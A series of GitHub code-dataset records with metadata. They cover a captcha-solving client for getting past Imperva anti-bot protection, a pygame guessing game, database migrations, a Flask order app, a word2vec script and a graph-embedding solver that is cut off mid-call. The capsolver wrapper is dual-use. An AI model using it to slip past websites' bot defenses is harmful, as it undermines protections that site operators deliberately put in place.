CaptchaResponseSer(errorId=0,\n errorCode=None,\n errorDescription=None,\n taskId='73bdcd28-6c77-4414-8....',\n status=,\n solution={'token': '90F9EAF...'}\n )\n\n Returns:\n CaptchaResponseSer model with full server response\n\n Notes:\n https://docs.capsolver.com/guide/antibots/imperva.html\n \"\"\"\n\n def __init__(\n self,\n captcha_type: Union[AntiImpervaTaskEnm, str],\n websiteUrl: str,\n userAgent: str,\n *args,\n **kwargs,\n ):\n super().__init__(*args, **kwargs)\n\n if captcha_type == AntiImpervaTaskEnm.AntiImpervaTask:\n self.task_params = AntiImpervaTaskSer(**locals()).dict()\n else:\n raise ValueError(\n f\"\"\"Invalid `captcha_type` parameter set for `{self.__class__.__name__}`,\n available - {AntiImpervaTaskEnm.list_values()}\"\"\"\n )\n\n for key in kwargs:\n self.task_params.update({key: kwargs[key]})\n\n def captcha_handler(self) -> CaptchaResponseSer:\n \"\"\"\n Sync solving method\n\n Returns:\n CaptchaResponseSer model with full service response\n\n Notes:\n Check class docstring for more info\n \"\"\"\n return self._processing_captcha(create_params=self.task_params)\n\n async def aio_captcha_handler(self) -> CaptchaResponseSer:\n \"\"\"\n Async method for captcha solving\n\n Returns:\n CaptchaResponseSer model with full service response\n\n Notes:\n Check class docstring for more info\n \"\"\"\n return await self._aio_processing_captcha(create_params=self.task_params)\n", "repo_name": "AndreiDrang/python3-capsolver", "sub_path": "src/python3_capsolver/imperva.py", "file_name": "imperva.py", "file_ext": "py", "file_size_in_byte": 4612, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "16", "api": [{"api_name": "python3_capsolver.core.base.BaseCaptcha", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 79, "usage_type": "name"}, {"api_name": "python3_capsolver.core.enum.AntiImpervaTaskEnm", "line_number": 79, "usage_type": "name"}, {"api_name": "python3_capsolver.core.enum.AntiImpervaTaskEnm.AntiImpervaTask", "line_number": 87, "usage_type": "attribute"}, {"api_name": "python3_capsolver.core.enum.AntiImpervaTaskEnm", "line_number": 87, "usage_type": "name"}, {"api_name": "python3_capsolver.core.serializer.AntiImpervaTaskSer", "line_number": 88, "usage_type": "call"}, {"api_name": "python3_capsolver.core.enum.AntiImpervaTaskEnm.list_values", "line_number": 92, "usage_type": "call"}, {"api_name": "python3_capsolver.core.enum.AntiImpervaTaskEnm", "line_number": 92, "usage_type": "name"}, {"api_name": "python3_capsolver.core.serializer.CaptchaResponseSer", "line_number": 98, "usage_type": "name"}, {"api_name": "python3_capsolver.core.serializer.CaptchaResponseSer", "line_number": 110, "usage_type": "name"}]} +{"seq_id": "41150250794", "text": "import pygame\nimport random\nimport math\n\npygame.init()\nsize = 300\n\nscreen = pygame.display.set_mode([size,size])\n\nprint(\"Predict the winner by clicking a box\")\n\n#pick a player\ngreen_choice = (0, 0, size/2, size)\nblue_choice = (size/2, 0, size, size)\nmouse_x, mouse_y = pygame.mouse.get_pos()\nblue_box = pygame.draw.rect(screen,'blue', blue_choice)\ngreen_box = pygame.draw.rect(screen,'green', green_choice)\nchose = True\n\nwhile chose == True:\n x,y = pygame.mouse.get_pos()\n blue_choice = pygame.draw.rect(screen, 'blue', blue_box)\n green_choice = pygame.draw.rect(screen, 'green', green_box)\n pygame.display.flip()\n \n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if blue_choice.collidepoint(x,y):\n prediction = 1\n print(\"you chose blue\") \n chose = False\n \n else:\n prediction = 2\n print(\"you chose green\")\n chose = False\n\npygame.draw.rect(screen,'white', (0,0,size,size))\npygame.draw.circle(screen, 'orange',(150,150),150)\npygame.draw.line(screen, 'black', (150,0),(150,300))\npygame.draw.line(screen, 'black', (0,150),(300,150))\n\npygame.display.flip()\npygame.time.wait(1000)\ngreen_score = 0\nblue_score = 0\nfor i in range(10):\n \n #team 1\n x_coord1 = random.randrange(0,300)\n y_coord1 = random.randrange(0,300)\n pygame.draw.circle(screen, 'red',(x_coord1,y_coord1),5)\n distance_from_center = math.hypot(150 - x_coord1, 150 - y_coord1)\n is_in_circle = distance_from_center <= 300/2 \n \n if (is_in_circle == True):\n green_score = green_score + 1\n pygame.draw.circle(screen, 'green',(x_coord1,y_coord1),5)\n \n else:\n pygame.draw.circle(screen, 'red',(x_coord1,y_coord1),5)\n \n #team 2\n pygame.time.wait(500)\n pygame.display.flip()\n x_coord2 = random.randrange(0,300)\n y_coord2 = random.randrange(0,300)\n \n distance_from_center = math.hypot(150 - x_coord2, 150 - y_coord2)\n is_in_circle = distance_from_center <= 300/2 \n \n\n if (is_in_circle == True): \n blue_score = blue_score + 1\n pygame.draw.circle(screen, 'blue',(x_coord2,y_coord2),5)\n else:\n pygame.draw.circle(screen, 'black',(x_coord2,y_coord2),5)\n pygame.time.wait(500)\n pygame.display.flip()\n \npygame.display.flip()\npygame.time.wait(3000)\nprint(\"Green had\",green_score)\nprint(\"Blue had\",blue_score)\n\nif (green_score>blue_score):\n print(\"Green wins\")\n if (prediction == 2):\n print(\"correct guess\")\n else:\n print(\"wrong guess\")\nelif(blue_score>green_score):\n print(\"Blue wins\")\n if (prediction == 1):\n print(\"correct guess\")\n else:\n print(\"wrong guess\")\nelif(blue_score == green_score):\n print(\"Tie\")", "repo_name": "bucs110FALL22/portfolio-kjohn108", "sub_path": "ch04/lab/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.init", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.time.wait", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 44, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 50, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 52, "usage_type": "attribute"}, {"api_name": "math.hypot", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 58, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 61, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pygame.time.wait", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 65, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 65, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 66, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 67, "usage_type": "call"}, {"api_name": "math.hypot", "line_number": 69, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 75, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 75, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 77, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pygame.time.wait", "line_number": 78, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 79, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 81, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pygame.time.wait", "line_number": 82, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 82, "usage_type": "attribute"}]} +{"seq_id": "70420854728", "text": "\"\"\"empty message\n\nRevision ID: 0e976c47a2e9\nRevises: ba02ce7b41f0\nCreate Date: 2022-05-03 07:48:05.720939\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '0e976c47a2e9'\ndown_revision = 'ba02ce7b41f0'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint('column_tableId_fkey', 'column', type_='foreignkey')\n op.create_foreign_key(None, 'column', 'table', ['tableId'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'column', type_='foreignkey')\n op.create_foreign_key('column_tableId_fkey', 'column', 'table', ['tableId'], ['id'], ondelete='CASCADE')\n # ### end Alembic commands ###\n", "repo_name": "GabrielSouzaCosta/ExcelFiller", "sub_path": "server/migrations/versions/0e976c47a2e9_.py", "file_name": "0e976c47a2e9_.py", "file_ext": "py", "file_size_in_byte": 851, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "alembic.op.drop_constraint", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 28, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 28, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 29, "usage_type": "name"}]} +{"seq_id": "32977761888", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('djciv_data', '0005_collection_collfilename'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='collection',\n name='collfilename',\n field=models.CharField(max_length=100, blank=True),\n ),\n ]\n", "repo_name": "civet-software/CIVET-Django", "sub_path": "djcivet_site/djciv_data/migrations/0006_auto_20150616_1444.py", "file_name": "0006_auto_20150616_1444.py", "file_ext": "py", "file_size_in_byte": 433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "15918225834", "text": "from flask import Flask, request, url_for, redirect\r\nfrom flask import render_template\r\nfrom mysql import connector\r\n\r\napp = Flask(__name__)\r\ndb = connector.connect(\r\n host = \"localhost\",\r\n user = \"root\",\r\n passwd = \"\",\r\n database = \"pempek\"\r\n)\r\n\r\nif db.is_connected():\r\n print('====Connected====')\r\n\r\n@app.route('/')\r\n@app.route('/home')\r\ndef home():\r\n cur = db.cursor()\r\n cur.execute('select harga_pempek, harga from aneka_pempek, minuman '\r\n 'where aneka_pempek.id_pempek=\"KLT\" and minuman.id_minuman=\"SJR\"')\r\n harga = cur.fetchone()\r\n\r\n cur.execute(\"select * from minuman\")\r\n minuman = cur.fetchall()\r\n\r\n cur.execute(\"select * from aneka_pempek\")\r\n pempek = cur.fetchall()\r\n\r\n cur.close()\r\n return render_template(\"erere.html\", minuman=minuman, pempek=pempek, harga=harga)\r\n\r\n\r\n@app.route('/order', methods=['POST'])\r\ndef order():\r\n nama_pemesan = request.form['nama_pemesan']\r\n pempek_id = request.form['pempek_id']\r\n minuman_id = request.form['minuman_id']\r\n\r\n cur = db.cursor()\r\n cur.execute('select harga_pempek, harga from aneka_pempek, minuman '\r\n 'where aneka_pempek.id_pempek=%s and minuman.id_minuman=%s', (pempek_id, minuman_id))\r\n harga = cur.fetchone()\r\n total_harga = int(harga[0]) + int(harga[1])\r\n cur.close()\r\n\r\n cur = db.cursor()\r\n cur.execute(\"INSERT INTO `order` (`no_order`, `nama_pemesan`, `pempek_id`, `minuman_id`, `total_harga`) VALUES (NULL, %s, %s, %s, %s);\",\r\n (nama_pemesan, pempek_id, minuman_id, str(total_harga)))\r\n db.commit()\r\n return redirect(url_for('home'))\r\n\r\nif __name__== '__main__':\r\n app.run(debug=True)", "repo_name": "Kosavelananta/web", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1674, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "mysql.connector.connect", "line_number": 6, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 6, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "71223676488", "text": "import pandas as pd\nimport matplotlib.pyplot as plt\nimport urllib.request\nfrom gensim.models.word2vec import Word2Vec\nfrom konlpy.tag import Okt\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.font_manager as fm\n\nplt.rc('axes', unicode_minus=False)\n'''\nfor font in fm.fontManager.ttflist:\n if 'Nanum' in font.name:\n print(font.name, font.fname)\n'''\n# NanumBarunGothic C:\\Windows\\Fonts\\NanumBarunGothicBold.ttf\n# NanumBarunGothic C:\\WINDOWS\\Fonts\\NanumBarunGothic.ttf\n\nfont_location = 'C:\\\\WINDOWS\\\\Fonts\\\\NanumBarunGothic.ttf'\nfont_name = fm.FontProperties(fname=font_location).get_name()\n#mpl.rc('font', family=font_name)\nmpl.rc('font', family=\"NanumBarunGothic\")\n\n\n\n\ntrain_data = pd.read_csv('C:\\\\Users\\\\hailie\\\\Desktop\\\\랩실\\\\UROP\\\\kor_news.csv', encoding=\"ANSI\", index_col=0, names=['ranking','date','category','press','title'])\nprint(train_data[:5]) # 상위 5개 출력\n# NULL 값 존재 유무\nprint(train_data.isnull().values.any())\ntrain_data = train_data.dropna(how = 'any') # Null 값이 존재하는 행 제거\nprint(train_data.isnull().values.any()) # Null 값이 존재하는지 확인\n# 정규 표현식을 통한 한글 외 문자 제거\ntrain_data['title'] = train_data['title'].str.replace(\"[^ㄱ-ㅎㅏ-ㅣ가-힣 ]\",\"\")\nprint(train_data[:5]) # 상위 5개 출력\n\n\n# 불용어 정의\nstopwords = ['의','가','이','은','들','는','좀','잘','과','도','를','으로','자','에','와','한','하다']\n\n# 형태소 분석기 OKT를 사용한 토큰화 작업 (다소 시간 소요)\nokt = Okt()\ntokenized_data = []\nfor sentence in train_data['title']:\n temp_X = okt.morphs(sentence, stem=True) # 토큰화\n temp_X = [word for word in temp_X if not word in stopwords] # 불용어 제거\n tokenized_data.append(temp_X)\n\nfor l in tokenized_data :\n print(l)\n \n# 리뷰 길이 분포 확인\nprint('타이틀의 최대 길이 :',max(len(l) for l in tokenized_data))\nprint('타이틀의 평균 길이 :',sum(map(len, tokenized_data))/len(tokenized_data))\nplt.hist([len(s) for s in tokenized_data], bins=50)\nplt.xlabel('length of samples')\nplt.ylabel('number of samples')\nplt.show()\n\nfrom gensim.models import Word2Vec\nmodel = Word2Vec(sentences = tokenized_data, size = 100, window = 5, min_count = 5, workers = 4, sg = 0)\n\n# 완성된 임베딩 매트릭스의 크기 확인\nprint(model.wv.vectors.shape)\n\n# 벡터 시각화\nword_vectors = model.wv\nvocabs = word_vectors.vocab.keys()\nword_vectors_list = [word_vectors[v] for v in vocabs]\n\nfrom sklearn.decomposition import PCA\npca = PCA(n_components=2)\nxys = pca.fit_transform(word_vectors_list)\nxs = xys[:,0]\nys=xys[:,1]\n\n# 그래프 한글 깨짐 방지\nimport matplotlib.font_manager as fm\nfm._rebuild()\n\nplt.rc('font', family=\"NanumBarunGothic\")\n\nimport matplotlib.pyplot as plt\n\ndef plot_2d_graph(vocabs, xs, ys):\n plt.figure(figsize=(15,10))\n plt.scatter(xs,ys,marker='o')\n for i,v in enumerate(vocabs):\n plt.annotate(v,xy=(xs[i], ys[i]))\n \nplot_2d_graph(vocabs, xs,ys)", "repo_name": "DeveloperHailie/CodingPractice", "sub_path": "python/word2vec_뉴스타이틀.py", "file_name": "word2vec_뉴스타이틀.py", "file_ext": "py", "file_size_in_byte": 3020, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.pyplot.rc", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.font_manager.FontProperties", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.font_manager", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.rc", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "konlpy.tag.Okt", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "gensim.models.Word2Vec", "line_number": 62, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.font_manager._rebuild", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.font_manager", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}]} +{"seq_id": "31763159639", "text": "from collections import defaultdict\n\nimport networkx as nx\nimport numpy as np\nfrom ortools.sat.python import cp_model\n\nfrom ember.hardware.chimera import ChimeraGraph\nfrom ember.hardware.transform import quadripartite_with_faults\n\n__all__ = [\"QuadripartiteSat\"]\n\n\ndef _run_quadripartite(I, G, U1, U2, U3, U4, adj12, adj23, adj34, verbose,\n timeout, return_walltime):\n \"\"\"\n Python implementation for FT-QTE's constraint programming formulation using Google OR-Tools solver.\n \"\"\"\n N1, N2 = adj12.shape\n N2_, N3_ = adj23.shape\n N3, N4 = adj34.shape\n assert N1 == len(U1)\n assert N2_ == N2 == len(U2)\n assert N3_ == N3 == len(U3)\n assert N4 == len(U4)\n\n model = cp_model.CpModel()\n\n # decision variables\n y1 = np.array([\n [model.NewBoolVar(f\"y1_{i}_{j}\") for j in range(N1)] for i in range(I)\n ])\n y2 = np.array([\n [model.NewBoolVar(f\"y2_{i}_{j}\") for j in range(N2)] for i in range(I)\n ])\n y3 = np.array([\n [model.NewBoolVar(f\"y3_{i}_{j}\") for j in range(N3)] for i in range(I)\n ])\n y4 = np.array([\n [model.NewBoolVar(f\"y4_{i}_{j}\") for j in range(N4)] for i in range(I)\n ])\n\n valid_edge12 = [\n (n1, n2) for n2 in range(N2) for n1 in range(N1) if adj12[n1, n2] == 1\n ]\n valid_edge34 = [\n (n3, n4) for n4 in range(N4) for n3 in range(N3) if adj34[n3, n4] == 1\n ]\n\n # edge constraints\n for u, v in G:\n or_terms = []\n for n1, n2 in valid_edge12:\n uv = model.NewBoolVar(f\"12_({u},{v})_({n1},{n2})\")\n model.AddImplication(uv, y1[u, n1])\n model.AddImplication(uv, y2[v, n2])\n\n vu = model.NewBoolVar(f\"12_({v},{u})_({n1},{n2})\")\n model.AddImplication(vu, y1[v, n1])\n model.AddImplication(vu, y2[u, n2])\n\n or_terms.extend((uv, vu))\n\n for n3, n4 in valid_edge34:\n uv = model.NewBoolVar(f\"34_({u},{v})_({n3},{n4})\")\n model.AddImplication(uv, y3[u, n3])\n model.AddImplication(uv, y4[v, n4])\n\n vu = model.NewBoolVar(f\"34_({v},{u})_({n3},{n4})\")\n model.AddImplication(vu, y3[v, n3])\n model.AddImplication(vu, y4[u, n4])\n\n or_terms.extend((uv, vu))\n\n model.AddBoolOr(or_terms)\n\n # input nodes must be assigned to connected nodes on the template\n for i in range(I):\n for n1 in range(N1):\n for n2 in range(N2):\n model.Add(y2[i, n2] + y1[i, n1] <= int(1 + adj12[n1, n2]))\n\n for n2 in range(N2):\n for n3 in range(N3):\n model.Add(y3[i, n3] + y2[i, n2] <= int(1 + adj23[n2, n3]))\n\n for n3 in range(N3):\n for n4 in range(N4):\n model.Add(y4[i, n4] + y3[i, n3] <= int(1 + adj34[n3, n4]))\n\n model.Add(sum(y1[i, :]) + sum(y3[i, :]) - sum(y2[i, :]) <= 1)\n model.Add(sum(y2[i, :]) + sum(y4[i, :]) - sum(y3[i, :]) <= 1)\n model.Add(sum(y1[i, :]) + sum(y4[i, :]) - sum(y3[i, :]) - sum(y2[i, :]) < 1)\n\n # guest node should only be assigned once per partite\n for i in range(I):\n model.Add(sum(y1[i, :]) <= 1)\n model.Add(sum(y2[i, :]) <= 1)\n model.Add(sum(y3[i, :]) <= 1)\n model.Add(sum(y4[i, :]) <= 1)\n\n # template nodes are assigned max 1 input node\n for n1 in range(N1):\n model.Add(sum(y1[:, n1]) <= U1[n1])\n for n2 in range(N2):\n model.Add(sum(y2[:, n2]) <= U2[n2])\n for n3 in range(N3):\n model.Add(sum(y3[:, n3]) <= U3[n3])\n for n4 in range(N4):\n model.Add(sum(y4[:, n4]) <= U4[n4])\n\n solver = cp_model.CpSolver()\n solver.parameters.use_pb_resolution = True\n solver.parameters.log_search_progress = verbose\n solver.parameters.max_time_in_seconds = timeout\n status = solver.Solve(model)\n\n result = np.full((I, 4), -1)\n\n if status != cp_model.OPTIMAL:\n return result\n\n for i in range(I):\n for p1 in range(N1):\n if solver.BooleanValue(y1[i, p1]):\n result[i, 0] = p1\n break\n for p2 in range(N2):\n if solver.BooleanValue(y2[i, p2]):\n result[i, 1] = p2\n break\n for p3 in range(N3):\n if solver.BooleanValue(y3[i, p3]):\n result[i, 2] = p3\n break\n for p4 in range(N4):\n if solver.BooleanValue(y4[i, p4]):\n result[i, 3] = p4\n break\n\n if return_walltime:\n return result, solver.WallTime()\n else:\n return result\n\n\nclass QuadripartiteSat:\n \"\"\"\n extension of quadripartite template-based minor embedding to allow embedding on Chimera graph \n with faults. Constraint programming formulation implemented using Google's OR-Tools, both python\n and c++ implementations callable here.\n \"\"\"\n\n def __init__(self, guest: nx.Graph, host: ChimeraGraph):\n \"\"\"\n Args:\n guest (nx.Graph): a guest instance\n host (ChimeraGraph): Any Chimera host instance\n \"\"\"\n self.guest = guest\n self.host = host\n self.U1, self.U2, self.U3, self.U4 = quadripartite_with_faults(host)\n self.adj12 = self._construct_adj_matrix(self.U1, self.U2)\n self.adj23 = self._construct_adj_matrix(self.U2, self.U3)\n self.adj34 = self._construct_adj_matrix(self.U3, self.U4)\n self.U1, self.U2, self.U3, self.U4, \\\n self.adj12, self.adj23, self.adj34 = self._compress_to_unique()\n self.U23 = self._create_U2_U3_pairs()\n\n def _neighbours(self, graph, chain):\n chain = set(chain)\n nb_nodes = {node for c in chain for node in graph[c]}\n nb_nodes.difference_update(chain)\n return nb_nodes\n\n def _construct_adj_matrix(self, p1, p2):\n\n v_inverse = {v: i for i in range(len(p2)) for v in p2[i]}\n chimera = self.host.internal\n\n adj = np.zeros((len(p1), len(p2)))\n for i, h_chain in enumerate(p1):\n for nb in self._neighbours(chimera, h_chain):\n try:\n adj[i][v_inverse[nb]] = 1\n except:\n pass\n return adj\n\n # removes duplicate nodes and reconstruct adjacency matrix\n def _compress_to_unique(self):\n u1_group, u2_group, u3_group, u4_group = \\\n defaultdict(list), defaultdict(list), defaultdict(list), defaultdict(list)\n\n u2_ind, u3_ind = np.where(self.adj23 == 1)\n adj1234 = np.concatenate([self.adj12[:, u2_ind], np.transpose(self.adj34[u3_ind, :])])\n adj1234, adj1234_ind = np.unique(adj1234, return_inverse=True, axis=1)\n\n adj12_ind = np.array(adj1234_ind)\n for unconnected in sorted(set(range(len(self.U2))) - set(u2_ind)):\n adj12_ind = np.insert(adj12_ind, unconnected, max(adj12_ind) + 1)\n\n adj34_ind = np.array(adj1234_ind)\n for unconnected in sorted(set(range(len(self.U3))) - set(u3_ind)):\n adj34_ind = np.insert(adj34_ind, unconnected, max(adj34_ind) + 1)\n\n for idx, chain in zip(adj12_ind, self.U2):\n u2_group[idx].append(chain)\n\n for idx, chain in zip(adj34_ind, self.U3):\n u3_group[idx].append(chain)\n\n new_u2 = [u2_group[key][0] for key in sorted(list(u2_group.keys()))]\n new_u3 = [u3_group[key][0] for key in sorted(list(u3_group.keys()))]\n\n adj12 = self._construct_adj_matrix(self.U1, new_u2)\n adj23 = self._construct_adj_matrix(new_u2, new_u3)\n adj34 = self._construct_adj_matrix(new_u3, self.U4)\n\n adj12, u1_inv = np.unique(adj12, return_inverse=True, axis=0)\n adj34, u4_inv = np.unique(adj34, return_inverse=True, axis=1)\n\n for idx, chain in zip(u1_inv, self.U1):\n u1_group[idx].append(chain)\n\n for idx, chain in zip(u4_inv, self.U4):\n u4_group[idx].append(chain)\n\n return u1_group, u2_group, u3_group, u4_group, adj12, adj23, adj34\n\n def _create_U2_U3_pairs(self):\n index2, index3 = np.where(self.adj23 == 1)\n U23 = defaultdict(list)\n chimera = self.host.internal\n\n for i in range(len(index2)):\n u2 = self.U2[index2[i]]\n u3 = self.U3[index3[i]]\n for chain2 in u2:\n for nb in self._neighbours(chimera, chain2):\n for chain3 in u3:\n if nb in chain3:\n U23[(index2[i], index3[i])].append((chain2, chain3))\n return U23\n\n def solve(self, verbose=True, timeout=500, return_walltime=False):\n \"\"\"\n Args:\n verbose: boolean flag for additional details from constraints building and CP-SAT solver\n timeout: maximum time allowed before solver gives up, in seconds\n return_walltime: returns total runtime\n\n Returns: dictionary of embedding, vertex as key, vertex model as value\n \"\"\"\n U1_count = np.array([len(self.U1[u1]) for u1 in range(len(self.U1))])\n U2_count = np.array([len(self.U2[u2]) for u2 in range(len(self.U2))])\n U3_count = np.array([len(self.U3[u3]) for u3 in range(len(self.U3))])\n U4_count = np.array([len(self.U4[u4]) for u4 in range(len(self.U4))])\n I = len(self.guest)\n\n try:\n import ember.template._native.embed as embed\n print(\"Running C++\")\n run_quadripartite = embed.run_quadripartite\n except ImportError:\n print(\"Running Python\")\n run_quadripartite = _run_quadripartite\n\n result = run_quadripartite(I, np.array(self.guest.edges), U1_count,\n U2_count, U3_count, U4_count, self.adj12,\n self.adj23, 